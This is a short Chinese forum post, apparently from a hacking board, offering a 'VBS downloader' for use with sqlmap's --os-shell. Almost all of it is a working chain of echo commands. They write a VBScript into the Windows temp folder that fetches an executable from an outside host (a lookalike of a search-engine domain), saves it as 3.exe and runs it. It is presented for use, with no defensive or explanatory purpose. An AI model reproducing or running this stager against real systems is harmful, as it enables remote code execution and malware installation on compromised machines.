admin 发表于 2016-4-12 16:08:26

vbs下载者,适合sqlmap --os-shell使用

echo ^Set Post = CreateObject("Msxml2.XMLHTTP")^ >>c:\windows\temp\666999.txt
echo ^Set Shell = CreateObject("Wscript.Shell")^ >>c:\windows\temp\666999.txt
echo ^Post.Open "GET","http://www.baido.hk/server.exe",0^ >>c:\windows\temp\666999.txt
echo ^Post.Send()^ >>c:\windows\temp\666999.txt
echo ^Set aGet = CreateObject("ADODB.Stream")^ >>c:\windows\temp\666999.txt
echo ^aGet.Mode = 3^ >>c:\windows\temp\666999.txt
echo ^aGet.Type = 1^ >>c:\windows\temp\666999.txt
echo ^aGet.Open()^ >>c:\windows\temp\666999.txt
echo ^aGet.Write(Post.responseBody)^ >>c:\windows\temp\666999.txt
echo ^aGet.SaveToFile "c:\windows\temp\3.exe",2^ >>c:\windows\temp\666999.txt
echo ^wscript.sleep 1000^ >>c:\windows\temp\666999.txt
echo ^Shell.Run ("c:\windows\temp\3.exe")^ >>c:\windows\temp\666999.txt

页: [1]
查看完整版本: vbs下载者,适合sqlmap --os-shell使用